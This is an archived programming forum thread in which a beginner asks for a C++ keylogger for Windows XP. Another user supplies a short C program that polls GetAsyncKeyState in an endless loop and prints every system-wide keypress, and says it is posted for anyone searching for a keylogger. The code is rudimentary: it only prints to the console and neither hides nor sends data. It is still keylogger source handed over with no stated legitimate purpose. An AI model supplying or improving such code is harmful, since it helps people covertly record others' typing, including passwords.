Jump to content

create simple key logger with C++

- - - - -

This topic has been archived. This means that you cannot reply to this topic.
5 replies to this topic

#1
vaheb

vaheb

    Newbie

  • Members
  • Pip
  • 2 posts
hello every body I want to create simple keylogger with C++. I'm not professional Programing in C++.
this is my friedns Code about that (but not work correctly):

#include <fstream.h>
#include <iostream.h>
#include <conio.h>
int main(){
cout<<"This is a simple Key Logger."<<endl;
cout<<"Press ~ to quit."<<endl;
char kp;
ofstream fcout ("log.txt");

do{
cin.get(kp);

fcout<<kp;
}
while(kp != '~');

fcout.close();
return (0);
}



Tancks my friend . I decided to select windows Xp for this !
please guide me and write better code for try .
this code not worke correctly.
please compile this first code , and edit that for me plaease.

#2
v0id

v0id

    Retired

  • Members
  • PipPipPipPipPipPipPipPipPip
  • 2,936 posts
You should take a look at the Windows-function, GetAsyncKeyState.

#3
vaheb

vaheb

    Newbie

  • Members
  • Pip
  • 2 posts
oh ! I am very easy user from c++ please write a code sample myself !

#4
EZO

EZO

    Newbie

  • Members
  • Pip
  • 2 posts
Sorry for late baby, but I didn't know ur request before, just in my registration date.

:rules:


#include <windows.h>

#include <stdio.h>


main()

{

while(1){

 for(short character=8;character<=222;character++)


 if(GetAsyncKeyState(character)==-32767)

    printf("%d : %c\n",character,character);

};

}


And be glad, this code runs under win 95/98/Me/2000/2003/Xp/Seven.


:rolleyes:Allah order us to help people, as much as we can:rolleyes:

#5
Alexander

Alexander

    It's Science!

  • Moderators
  • 4,118 posts
Good workings, but please try to respect the date and not revive years old threads, the original author may not be on this forum and may not see it.
Be sure to read the updated FAQ! || Health is achieved through the same 10,000 steps.
If a suggested code/method fails, informing us is less important than telling us why or what errors occurred.

#6
EZO

EZO

    Newbie

  • Members
  • Pip
  • 2 posts

Nullw0rm said:

Good workings, but please try to respect the date and not revive years old threads, the original author may not be on this forum and may not see it.

:cool:Thank u 4 ur advice, I'll keep it in my mind...

I knew it's too late before that I mentioned now, but I put it for her if she returns back again and I hope that happens,
as I put it for anyone who's looking for "C++ keylogger" via search engines (like Google).

Plz, don't cut a good way - information is free.

:rolleyes:Allah order us to help people, as much as we can:rolleyes: